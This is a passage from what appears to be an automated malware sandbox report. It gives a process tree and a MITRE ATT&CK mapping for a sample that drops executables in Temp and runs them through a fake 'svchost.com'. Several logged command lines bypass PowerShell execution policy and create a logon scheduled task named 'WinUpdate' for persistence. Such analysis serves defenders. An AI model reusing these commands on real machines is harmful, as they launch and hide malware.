      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:824
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\fhmdea.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2848
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3448
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\fhmdea.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1168
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\fhmdea.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3312
        
        C:\Users\Admin\AppData\Local\Temp\fhmdea.exe
        
        C:\Users\Admin\AppData\Local\Temp\fhmdea.exe
        8⤵
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4244
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c ipconfig /release
        9⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:1592
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c ipconfig /release
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:3428
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        
        PID:2608
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        11⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:1936
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:1016
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:1984
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:2316
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:436
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:4656
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:5068
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:564
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:2792
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:1884
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        
        PID:1496
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c ipconfig /renew
        9⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2900
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c ipconfig /renew
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:4844
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        
        PID:4524
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /renew
        11⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:964
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\koalde.exe"' & exit
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1368
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\koalde.exe"'
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:856
      - C:\Users\Admin\AppData\Local\Temp\koalde.exe
        
        "C:\Users\Admin\AppData\Local\Temp\koalde.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies system executable filetype association
        Drops file in Program Files directory
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:1036
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\koalde.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3582-490\koalde.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:4656
        
        C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4544
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE"
        8⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3800
        
        C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2200
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        10⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5072
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:2484
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:264
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'
        12⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2768
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1066.tmp.bat""
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:4476
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        
        PID:832
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        11⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1160
        
        C:\Users\Admin\AppData\Roaming\WinUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\WinUpdate.exe"
        11⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2760
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\WINUPD~1.EXE"
        12⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:1728
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\WINUPD~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\WINUPD~1.EXE
        13⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1712
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        14⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:564
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        15⤵
        System Location Discovery: System Language Discovery
        
        PID:4172
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        16⤵
        
        PID:3872
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'
        16⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4380
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3880.tmp.bat""
        14⤵
        System Location Discovery: System Language Discovery
        
        PID:3400
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        
        PID:2248
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        15⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3488
        
        C:\Users\Admin\AppData\Roaming\WinUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\WinUpdate.exe"
        15⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2356
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rodtmi.exe"' & exit
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:5096
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rodtmi.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4360
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1060
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rodtmi.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1632
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\rodtmi.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2664
        
        C:\Users\Admin\AppData\Local\Temp\rodtmi.exe
        
        C:\Users\Admin\AppData\Local\Temp\rodtmi.exe
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4692
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:2120
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\vydgmr.exe"' & exit
      4⤵
      Loads dropped DLL
      PID:2204
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 88
        5⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4076
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /renew
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /renew
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3744

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3908

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1596

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2672

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3636

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3012

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2656

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4156

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3756

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2328
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2204 -ip 2204
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:4656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery